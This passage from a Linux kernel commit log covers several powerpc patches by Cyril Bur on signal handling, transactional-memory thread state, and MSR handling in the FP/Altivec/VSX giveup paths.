time the signal code has needed to know more about the thread than
what pt_regs can supply, this information is obtained as needed by
using 'current'.
This approach is not strictly incorrect however it does mean that
there is now a hard requirement that the pt_regs being passed around
does belong to current, this is never checked. A safer approach is for
the majority of the signal functions to take a task_struct from which
they can obtain pt_regs and any other information they need. The
caveat that the task_struct they are passed must be current doesn't go
away but can more easily be checked for.
Functions called from outside powerpc signal code are passed a pt_regs
and they can confirm that the pt_regs is that of current and pass
current to other functions, furthurmore, powerpc signal functions can
check that the task_struct they are passed is the same as current
avoiding possible corruption of current (or the task they are passed)
if this assertion ever fails.
CC: paulus@samba.org
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:11 +0000 (16:18 +1000)]
powerpc: Never giveup a reclaimed thread when enabling kernel {fp, altivec, vsx}
After a thread is reclaimed from its active or suspended transactional
state the checkpointed state exists on CPU, this state (along with the
live/transactional state) has been saved in its entirety by the
reclaiming process.
There exists a sequence of events that would cause the kernel to call
one of enable_kernel_fp(), enable_kernel_altivec() or
enable_kernel_vsx() after a thread has been reclaimed. These functions
save away any user state on the CPU so that the kernel can use the
registers. Not only is this saving away unnecessary at this point, it
is actually incorrect. It causes a save of the checkpointed state to
the live structures within the thread struct thus destroying the true
live state for that thread.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:10 +0000 (16:18 +1000)]
powerpc: Return the new MSR from msr_check_and_set()
msr_check_and_set() always performs a mfmsr() to determine if it needs
to perform an mtmsr(), as mfmsr() can be a costly operation
msr_check_and_set() could return the MSR now on the CPU to avoid
callers of msr_check_and_set having to make their own mfmsr() call.
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Cyril Bur [Fri, 23 Sep 2016 06:18:09 +0000 (16:18 +1000)]
powerpc: Add check_if_tm_restore_required() to giveup_all()
giveup_all() causes FPU/VMX/VSX facilities to be disabled in a threads
MSR. If the thread performing the giveup was transactional, the kernel
must record which facilities were in use before the giveup as the
thread must have these facilities re-enabled on return to userspace.
>From process.c:
/*
* This is called if we are on the way out to userspace and the
* TIF_RESTORE_TM flag is set. It checks if we need to reload
* FP and/or vector state and does so if necessary.
* If userspace is inside a transaction (whether active or
* suspended) and FP/VMX/VSX instructions have ever been enabled
* inside that transaction, then we have to keep them enabled
* and keep the FP/VMX/VSX state loaded while ever the transaction
* continues. The reason is that if we didn't, and subsequently
* got a FP/VMX/VSX unavailable interrupt inside a transaction,
* we don't know whether it's the same transaction, and thus we
* don't know which of the checkpointed state and the transactional
* state to use.
*/
Calling check_if_tm_restore_required() will set TIF_RESTORE_TM and
save the MSR if needed.
Fixes:
c208505 ("powerpc: create giveup_all()")
Signed-off-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>